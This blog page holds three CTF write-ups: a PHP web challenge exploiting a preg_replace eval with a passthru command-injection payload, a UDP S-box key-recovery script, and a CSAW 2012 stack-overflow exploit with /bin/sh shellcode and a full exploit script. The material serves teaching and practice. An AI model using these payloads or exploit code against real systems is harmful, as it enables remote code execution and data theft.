         1      FETCH_CONSTANT                                   ~0      '%DC%E7%91%88%A9%B2%D3%D2%9C%C4%A0%AC%9E%F3%B6%E9%B2%EE%8C%96%89%85%FA%A0%ED%A9%A6%CE%B2%90%8C%D7%AA%B1%A7%E8%F9%E4%BC%A6%A1%AE%81%D3%F0%BF%BF%E0%9A%D2%A0%DA%8A%D0%BE%DF%C1%DC%95%EF%CD%B5%FE%EB%99%C4%96%FE%B6%B1%9D%A4%B3%8C%C0%E5%F2%C8%E0%D9%EE%AF%8A%A1%89%BF%B8%96%A6%F5%F0%F6%CC%BC%8A%89%DF%BA%91%EC%D8%DA%E5%E0%C7%D0%81%8F%D1%91%CA%DB%89%E2%E4%A0%FE%8A%E9%C1%D4%DB%92%C8%D5%C3%91%A0%CF%84%8F%AA%FC%E4%B1%B5%D1%DB%CF%C9'
         2      FETCH_CONSTANT                                   ~1      '%AE%82%E5%FD%DB%DC%F3%A1%E8%B6%FF%DE%FB%83%D3%88%C6%C6%E1%F2%BC%AD%89%D5%8F%DA%D2%BC%9A%B4%EE%FB%9A%9D%9F%C1%D5%90%CE%D3%C4%87%AD%B0%95%D6%D3%C8%B2%A1%D4%A8%E6%B5%D0%F7%E5%BE%BC%C2%F5%9C%D1%DA%AF%ED%BF%A0%C6%D0%FE%CF%9B%AE%9C%9D%C6%F0%BC%A1%DC%CE%A8%8D%FA%CA%DA%E5%D2%87%D8%D2%AE%90%B2%A0%F6%81'
         3      BW_XOR                                           ~2      ~0, ~1
         4      FREE                                                     ~2
   5     5    > RETURN                                                   1

I don't quite explain myself yet how this binary string ends up being executed by the Zend parser yet but I know enough to reproduce the decryption in Cryptool, xoring hex string 1 with hex string 2:

return str_repeat(md5(substr($b,0,8),true),ceil((strlen($b)-8)/16))^pack("\x48\x2a",substr($b,8));

So this is function b. Now we can write a python script that will unobfuscate the string for us:

import hashlib
from Crypto.Cipher import XOR

file = open("web300.strings")

source = open("web300.txt").read()

for line in file:
  s = line.strip()
  key = s[0:8]
  cipher = s[8:]
  m = hashlib.md5()
  m.update(key)
  hash = m.digest()
  obj=XOR.new(hash)
  plain = obj.decrypt(cipher.decode("hex"))
  print key, plain
  source = source.replace("b("" + s + "")", plain)

print source

Result:

${Gjx7QbQ4l3EL}=array_key_exists;${USVuYTejL3cA}=preg_replace;${lRzbPV0GVCmL}=mt_rand;${eU3WOwVfyB2j}=printf;${MFBEFx3icClz}=range;${KytnuQGCMhPA}=pack;${eU3WOwVfyB2j}(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);if(${Gjx7QbQ4l3EL}(rng_seeds,${_POST})){${LhfnDi9VtrJM}=${_POST}[rng_seeds];${aKRml6aSjmxW}=${_POST}[rng_algorithm];${SBBTqFwnO6s5}=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;if(${aKRml6aSjmxW}!=${SBBTqFwnO6s5})${eU3WOwVfyB2j}(wuut?! hacker detected!);else${eU3WOwVfyB2j}(${USVuYTejL3cA}(#\b(\d+)\b#se,${KytnuQGCMhPA}(H*,${aKRml6aSjmxW}),${LhfnDi9VtrJM}));}else{foreach(${MFBEFx3icClz}(1,5)as$_)${eU3WOwVfyB2j}(${lRzbPV0GVCmL}().
);}${eU3WOwVfyB2j}(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Much better but we still have a second layer of obfuscation, let's remove it using some simple search/replace in vim:

printf(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);

if(array_key_exists(rng_seeds,${_POST})){

  if(${_POST}[rng_algorithm]!=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929)
    printf(wuut?! hacker detected!);
  else
    printf(preg_replace(#\b(\d+)\b#se,pack(H*,${_POST}[rng_algorithm]),${_POST}[rng_seeds]));
}
else
{
  foreach(range(1,5) as $_) printf(mt_rand().);
}

printf(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Nice! preg_replace with an "e" (execute) modifier but:
- the pattern will only match decimal number (\d+) so we can't use the classic attack of passing a PHP function in rng_seeds and getting it executed by the "e" modifier.
- there is a "security check" on the content of rng_algorithm so we cannot replace directly this hex string with our own php code

Now take a closer look on the security check. The huge hex string is not actually a string.. it's missing quotes! So PHP will interpret it as a number.. but PHP is not very good with huge numbers if you don't use the special BigInt functions. Let's verify this:

$ php -a
Interactive shell

php > $a = 5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;
php > echo $a;
5.3684131286442E+123

The number is truncated to 5368413128644200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

So we can replace anything after 5368413128644154, PHP won't be able to properly compare it with the reference numbers.

Now please notice something: in order to be a valid number, this hex string cannot contains letters! So we can only use characters using the [0-9] pattern.

This severely restrict which php functions and characters we can use. I wrote a simple script to dump all built-in PHP function names that were only numbers when converted to hex:

$funcs = get_defined_functions();

foreach($funcs['internal'] as $func)
{
  $l = '';
  $i = 0;
  while($i < strlen($func))
  {
    $l .= dechex(ord($func[$i++]));
  }
  if (is_numeric($l) && !strpos($l, 'e'))
  {
    print $func . ' = ' . $l . PHP_EOL;
  }
}

Result:

$ php func.php
each = 65616368
date = 64617465
idate = 6964617465
getdate = 67657464617465
ereg = 65726567
eregi = 6572656769
bcadd = 6263616464
...

So we need to keep "5368413128644154" at the beginning of the number which is hex for "ShA1(dAT"

The flag is in the flag.txt.gz file.

I settled on the following code:

ShA1(dATe(passthru('cat `dir`')))

Why ?

- "flag.txt.gz" cannot be expressed only with [0-9] hex
- passthru() will output the result of the shell command directly to the browser, bypassing date() and sha1().
- Little bash expansion trick to get cat to output every file in the current directory

So this will dump the file content of all files in the current folder. From there, we extract flag.txt.gz and extract it, it's 19 megabytes big. It turns out be base64-encoded multiple times but nothing difficult.

I will need to research more about the binary string being executed by Zend parser later.

Please note you can also decrypt the b function using Xdebug's tracing functionality.

Share
Tagged as: , Comments Off
18Oct/12Off

HackYou CTF – Crypto 300 – UDP Hardcore Writeup

Posted by aXs

In this challenge we need to guess the secret key used by an encryption service running over UDP.

We get the source of the server-side.

The encryption algorithm uses a Sbox that is initialized with sequential numbers from 1 to 128:

SALTED_SBOX = list(range(128))

Then the secret key is mixed in the Sbox using element permutations:

add_key(SALTED_SBOX, KEY)

def add_key(sbox, k):
  for i, c in enumerate(k):
    sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
    for i in xrange(len(sbox)):
      sbox[i] = (sbox[i] + 1) % 128
  return

The packet format for this service is then one UDP packet per request as this:

[[C1][C2]..[Cn]] where n < 64

Command block is divided in 2 equals parts:

mid = len(data) &gt;&gt; 1
k = data[:mid].rstrip("\x00")
m = data[mid:].rstrip("\x00")

c = encrypt(SALTED_SBOX, k, m)
f.sendto(c.encode("hex"), addr)

One part, k, is used to mix more data in the Sbox part and the other part, m, is used for encryption

def encrypt(sbox, k, m):
  sbox = sbox[::]
  add_key(sbox, k)

  c = ""
  for ch in m:
    c += chr(sbox[ord(ch)])
    sbox = combine(sbox, sbox)
  return c

The combine function is full of evil remix so we need to avoid it if we want to keep track of the state of the Sbox:

def combine(a, b):
  ret = [-1] * len(b)
  for i in range(len(b)):
    ret[i] = a[b[i]]
  return tuple(ret)

As the Sbox is copied over anew for each request (sbox = sbox[::]), if we send a single m part, we will avoid the combine.

So our strategy:
- Send 127 2-bytes packets with an empty k part (NUL character) and just one m part request to dump the Sbox from the server
- The dump will miss offset 0 of the Sbox so we use one add additionnal packet to swap offset 0 and 1 in the Sbox and request offset 1 again to fill in our local Sbox offset 0
- Revert the mixing algorithm using the dumped Sbox to recover the key

Source code:

#!/usr/bin/env python

import os, sys
import socket

host = sys.argv[1]

addr = (host, 7777)

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

sbox = list(range(128))

for i in xrange(1,128):

  msg = chr(0) + chr(i)
  s.sendto(msg,addr)
  reply, addr = s.recvfrom(1024)
  sbox[i] = ord(reply.decode("hex"))

msg = chr(1) + chr(1)
s.sendto(msg,addr)
reply, addr = s.recvfrom(1024)
sbox[0] = ord(reply.decode("hex")) - 1

print "Dumped Sbox=", repr(sbox)

local_sbox = list(range(128))

key_length = sbox[127]

print "Key length=", key_length + 1

for k in xrange(0,128):
  sbox[k] = (sbox[k] - key_length - 1)  % 128

flag = ''

i = 0
while i < key_length+1:
  a = sbox[i]
  if a:
    c = local_sbox.index(a)
    print "Position=", i, "Remote Sbox=", a, "Local Sbox offset=", c,  "Char=", repr(chr(c))
    flag = flag + chr(c)
    local_sbox[i], local_sbox[c] = local_sbox[c], local_sbox[i]
    for z in xrange(len(local_sbox)):
      local_sbox[z] = (local_sbox[z] + 1) % 128
      sbox[z] = (sbox[z] + 1) % 128
  i = i + 1

print "flag=", flag

Run it:

Dumped Sbox= [86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4, 35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
Key length= 26
Position= 0 Remote Sbox= 60 Local Sbox offset= 60 Char= '<'
Position= 1 Remote Sbox= 106 Local Sbox offset= 105 Char= 'i'
Position= 2 Remote Sbox= 117 Local Sbox offset= 115 Char= 's'
Position= 3 Remote Sbox= 99 Local Sbox offset= 96 Char= '`'
Position= 4 Remote Sbox= 120 Local Sbox offset= 116 Char= 't'
Position= 5 Remote Sbox= 109 Local Sbox offset= 104 Char= 'h'
Position= 6 Remote Sbox= 55 Local Sbox offset= 49 Char= '1'
Position= 7 Remote Sbox= 9 Local Sbox offset= 115 Char= 's'
Position= 8 Remote Sbox= 11 Local Sbox offset= 96 Char= '`'
Position= 9 Remote Sbox= 116 Local Sbox offset= 107 Char= 'k'
Position= 10 Remote Sbox= 61 Local Sbox offset= 51 Char= '3'
Position= 11 Remote Sbox= 4 Local Sbox offset= 121 Char= 'y'
Position= 12 Remote Sbox= 20 Local Sbox offset= 96 Char= '`'
Position= 13 Remote Sbox= 121 Local Sbox offset= 108 Char= 'l'
Position= 14 Remote Sbox= 62 Local Sbox offset= 48 Char= '0'
Position= 15 Remote Sbox= 125 Local Sbox offset= 110 Char= 'n'
Position= 16 Remote Sbox= 73 Local Sbox offset= 57 Char= '9'
Position= 17 Remote Sbox= 29 Local Sbox offset= 96 Char= '`'
Position= 18 Remote Sbox= 119 Local Sbox offset= 101 Char= 'e'
Position= 19 Remote Sbox= 34 Local Sbox offset= 110 Char= 'n'
Position= 20 Remote Sbox= 34 Local Sbox offset= 48 Char= '0'
Position= 21 Remote Sbox= 10 Local Sbox offset= 117 Char= 'u'
Position= 22 Remote Sbox= 125 Local Sbox offset= 103 Char= 'g'
Position= 23 Remote Sbox= 28 Local Sbox offset= 104 Char= 'h'
Position= 24 Remote Sbox= 87 Local Sbox offset= 63 Char= '?'
Position= 25 Remote Sbox= 87 Local Sbox offset= 62 Char= '>'
flag= <is`th1s`k3y`l0n9`en0ugh?>
Share
5Oct/12Off

CSAW 2012 CTF – Exploit 500 Writeup

Posted by aXs

Exploit 500 is the final exploitation challenge for CSAW CTF.

It looks like a game asking questions. You get 2 tries per question.

.text:08048CF7 buffer1         = byte ptr -4B4h
.text:08048CF7 buffer2         = byte ptr -438h
.text:08048CF7 answer          = byte ptr -38h
.text:08048CF7 buffer_length   = dword ptr -10h

Buffer1 size is 124 bytes and Buffer2 size is 1024 butes.

.text:08048D21                 mov     eax, [ebp+fd]
.text:08048D24                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048D2C                 mov     dword ptr [esp+8], 7Ch ; n
.text:08048D34                 lea     edx, [ebp+buffer1]
.text:08048D3A                 mov     [esp+4], edx    ; buf
.text:08048D3E                 mov     [esp], eax      ; fd
.text:08048D41                 call    _recv

First read in Buffer1 is 124 bytes, cannot be overflowed

.text:08048DB5                 mov     eax, [ebp+fd]
.text:08048DB8                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048DC0                 mov     dword ptr [esp+8], 400h ; n
.text:08048DC8                 lea     edx, [ebp+buffer2]
.text:08048DCE                 mov     [esp+4], edx    ; buf
.text:08048DD2                 mov     [esp], eax      ; fd
.text:08048DD5                 call    _recv

Second read in Buffer2 is 1024 bytes, cannot be overflowed. No luck so far.

.text:08048DF2                 mov     eax, [ebp+buffer_length]
.text:08048DF5                 shr     eax, 2
.text:08048DF8                 mov     ecx, eax
.text:08048DFA                 lea     eax, [ebp+buffer2]
.text:08048E00                 mov     esi, eax
.text:08048E02                 lea     eax, [ebp+answer]
.text:08048E05                 mov     edi, eax
.text:08048E07                 rep movsd

Interesting, copy buffer2 (1024 bytes maximum) into the answer buffer (40 bytes maximum), this will smack the stack.

Let's try with a buffer dipper:

$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies   **Answers can have spaces & case insensitive**

WarGames: David was playing ______ at the arcade
Answer: TOTO
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

We get a crash in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30662]
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0xB7FC3FF4  ECX: 0xFFFFFFC8  EDX: 0x00000009  o d I t S z a P c
  ESI: 0xBFFFF2E0  EDI: 0xBFFFF6E0  EBP: 0x39624138  ESP: 0xBFFFF620  EIP: 0x41306341
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x41306341
0x41306341 in ?? ()

Calculate buffer length using the crash EIP:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x41306341                                          
60

Perfect! We can control EIP. Where can we jump now ?

$ eu-readelf -l challenge1b
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00154c 0x00154c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00018c 0x000194 RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x0012c4 0x080492c4 0x080492c4 0x000084 0x000084 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is again RWE like in Exploit 300 and 400!

Our problem is that the answer buffer is quite small, 40 bytes. But buffer2 is gigantic with 1024 bytes. So our strategy will be to do an infoleak to get the offset of our shellcode stored in buffer2.

We will fake parameters pushed on the stack and then call send() to get a dump of the stack layout and locate our shellcode.

Our payload will be as follow:

[TOTO\N]['A' * 60][EIP send()][FD][OFFSET][LENGTH][FLAGS][NOP][SHELLCODE]

We will get a stack dump and then we can look for the nopsled into it to locate the start of our shellcode:

WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: ______ was the game Joshua needed to play to learn\n"not to play is the best option".\nAnswer: '
INFOLEAK
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'H\xcb\xfd\xb7\xf4\xef\xff\xb7\xd0\xfa\xff\xb7$\xf1\xff\xbf\xe0\xf0\xff\xbf\xc9~\xfe\xb7\xc0\xf0\xff\xbfl\x83\x04\x08\xa8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\xc8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xf8\x83\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xb5\x83\x04\x08\x00\x00\x00\x00\xa8\x94\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x98_\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\xf4\xef\xff\xb7\x18\xf9\xff\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7H\xcb\xfd\xb7\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7\x00\x00\x00\x00\x8c\x83\x04\x08d\xb0\x04\x08\x00\x00\x00\x00\xbf]\xee\xb7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00AAAA\xf4/\xfd\xb7d\xf1\xff\xbfq\xe5\xf1\xb7\x90\x86\x04\x08\x04\x00\x00\x00\x00\xf0\xff\xbf\xff\x0f\x00\x00@\x00\x00\x001\xc01\xdb1\xc9\xb1\x03\xfe\xc9\xb0?\xb3\x04\xcd\x80u\xf61\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@V\x88\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10|\xf2\xff\xbf\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\xdb\x9d^\x17\x8d\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0009\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00p\xd2\xfe\xb7\x00\x00\x00\x00x\xf2\xff\xbfO\x88\x04\x08\xb0\x8e\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\xd3\xb4\xe4\xb7\x01\x00\x00\x00\x14\xf3\xff\xbf\x1c\xf3\xff\xbfX\xc8\xfd\xb7\x00\x00\x00\x00\x1c\xf3\xff\xbf\x1c\xf3\xff\xbf\x00\x00\x00\x00\x8c\x83\x04\x08\xf4/\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcc\x86\rh\xdc\xa2\x81^\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xa0&\xff\xb7\xe9\xb3\xe4\xb7\xf4\xef\xff\xb7\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xb1\x87\x04\x08D\x88\x04\x08\x01\x00\x00\x00\x14\xf3\xff\xbf\xb0\x8e\x04\x08 \x8f\x04\x08p\xd2\xfe\xb7\x0c\xf3\xff\xbf\x18\xf9\xff\xb7\x01\x00\x00\x00=\xf4\xff\xbf\x00\x00\x00\x00J\xf4\xff\xbfV\xf4\xff\xbff\xf4\xff\xbfq\xf4\xff\xbf\x92\xf9\xff\xbf\xa1\xf9\xff\xbf\xaf\xf9\xff\xbf\xa4\xfe\xff\xbf\xb2\xfe\xff\xbf\xc7\xfe\xff\xbf\x14\xff\xff\xbf*\xff\xff\xbf:\xff\xff\xbfK\xff\xff\xbfS\xff\xff\xbfh\xff\xff\xbfy\xff\xff\xbf\x87\xff\xff\xbf\x90\xff\xff\xbf\xb0\xff\xff\xbf\xbe\xff\xff\xbf\xe0\xff\xff\xbf\x00\x00\x00\x00 \x00\x00\x00\x14\xd4\xfd\xb7!\x00\x00\x00\x00\xd0\xfd\xb7\x10\x00\x00\x00\xff\xfb\xeb\x0f\x06\x00\x00\x00\x00\x10\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x004\x80\x04\x08\x04\x00\x00\x00 \x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00\x07\x00\x00\x00\x00\xe0\xfd\xb7\x08\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x90\x87\x04\x08\x0b\x00\x00\x00\xe9\x03\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\xe9\x03\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x1b\xf4\xff\xbf\x1f\x00\x00\x00\xef\xff\xff\xbf\x0f\x00\x00\x00+\xf4\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\xa9R\xd4C\xf4\xcb\xd9\x04\xdd\x8ds\xb0\xcbRfi686\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00./challenge1\x00TERM=screen\x00SHELL=/bin/bash\x00USER=csaw1\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;3'
Found shellcode at 0xbffff174L

Easy. We can now exploit this by using 0xbffff174 as the EIP in the payload:

len shellcode= 46
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game
'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: The password David used to access the school computers was _____\nAnswer: '
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'key{Something_different_from_strcpy}'

Exploit code:

import socket
import struct
from struct import pack
import time
import sys

host = sys.argv[1]
infoleak = int(sys.argv[2])

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print "len shellcode=", len(shellcode)

# challenge box
esp = 0xbffff174
# local gdb
#esp = 0xbffff234

if infoleak == 1:
  ret = pack("<I", 0x08048780) # _send
else:
  ret = pack("<I", esp)

size = 0xfff
offset = 0xbffff000

ebp = pack("<I", esp)

if infoleak == 0:
  payload = ebp * (60/4) + ret
else:
  payload = 'A' * 60 + ret

payload += pack('L', 0x8048690) # exit

payload += pack('L', 0x4) # fd
payload += pack('L', offset)
payload += pack('L', size) # len
payload += pack('L', 0x40) # flags

payload  += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,12345))

data = s.recv(1024)
print data

s.send("TOTO\n")
time.sleep(1)
s.send(payload)
time.sleep(1)
s.send("\ncat key\n")

data = s.recv(256) # discard

print repr(data)

data = s.recv(len("WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "))

print repr(data)

if infoleak == 0:
  while True:
    stack = s.recv(size)
    print repr(stack)
    if not stack:
      break
  sys.exit(0)

stack = s.recv(size)

print repr(stack)

for i in xrange(0, size - 1):
  if stack[i] == '\x31' and stack[i+1] == '\xc0':
    print "Found shellcode at ", hex(offset + i)
    break

while True:
  data = s.recv(65536)
  print repr(data)
  if not data:
    break
Share